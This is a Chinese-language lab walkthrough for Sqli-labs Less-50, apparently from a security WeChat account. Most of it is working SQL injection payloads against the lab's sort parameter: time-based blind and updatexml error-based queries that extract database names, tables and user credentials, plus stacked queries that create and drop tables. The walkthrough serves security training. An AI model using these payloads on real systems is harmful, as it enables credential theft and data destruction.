Sqli-labs-Less-50
这个貌似和前面的都是相同的,但是我们通过源码观察可知:
在本关中使用了mysgli multi guery()函数
而在less46-49关中使用了mysqL fetch_assoc()函数
所以这里的不同点就在于本关可以使用堆叠注入的形式,我们可以使用以下几种方法:
1.基于时间盲注
2.基于报错注入
3.写一句话木马(这里不进行演示)
4.使用堆叠注入创建删除一个表
5.使用堆叠注入写一句话木马(这里不进行演示)
方法一(时间盲注)
判断注入点
http://www.web.com/sql/Less-50/?sort=1'
报错并显示我们多了一个'说明此处不需要进行包裹
判断当前库名称长度
http://www.web.com/sql/Less-50/?sort=1 and if(length(database())=8,1,sleep(2))--+
当等于8时没有时间延时,说明数据库名称长度为8
判断当前数据库名称
http://www.web.com/sql/Less-50/?sort=1 and if(substr((select database()),1,1)=‘s’,1,sleep(2))–+
当等于s时没有时间延时,说明首字母为s
使用burp爆破出当前库名称
判断表名
http://www.web.com/sql/Less-50/?sort=1 and if(substr((select table_name from information_schema.tables where table_schema='security’ limit 0,1),1,1)=‘e',1,sleep(2))–+
使用burp爆破
判断字段
http://www.web.com/sql/Less-50/?sort=1 and if(substr((select column_name from information_schema.columns where table_name='users’ limit 0,1),1,1)=‘u',1,sleep(5))–+
使用burp爆破
判断账户(username)
http://www.web.com/sql/Less-50/?sort=1 and if(substr((select username from security.users limit 0,1),1,1)='d',1,sleep(5))–+
使用burp爆破
判断密码(password)
http://www.web.com/sql/Less-50/?sort=1 and if(substr((select password from security.users limit 0,1),1,1)='d',1,sleep(5))–+
使用burp爆破
将username,password一起进行爆破
http://www.web.com/sql/Less-50/?sort=1 and if(substr((select group_concat(username,password) from security.users limit 0,1),1,1)='d',1,sleep(5))–+
使用concat_ws()函数将username,password进行分割并一起进行爆破
http://www.web.com/sql/Less-50/?sort=1 and if(substr((select group_concat(concat_ws(’-’,username,password)) from security.users limit 0,1),1,1)=‘d’,1,sleep(1))–+
方法二报错注入
查看当前数据库
http://www.web.com/sql/Less-50/?sort=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
查看所有库
http://www.web.com/sql/Less-50/?sort=1 and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)--+
查看所有表
http://www.web.com/sql/Less-50/?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
查看所有字段
http://www.web.com/sql/Less-50/?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+
查看所有账户和密码
http://www.web.com/sql/Less-50/?sort=1 and updatexml(1,concat(0x7e,(select group_concat(concat_ws('~',username,password)) from security.users),0x7e),1)--+
方法三堆叠注入
创建表
http://www.web.com/sql/Less-50/?sort=1; create table sqli50 like users;--+
在数据库中查看否成功创建
删除表
http://www.web.com/sql/Less-50/?sort=1; drop table sqli50;--+
在数据库中查看是否成功删除
原文始发于微信公众号(龙蜀安全):SQL-Labs Less-50
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论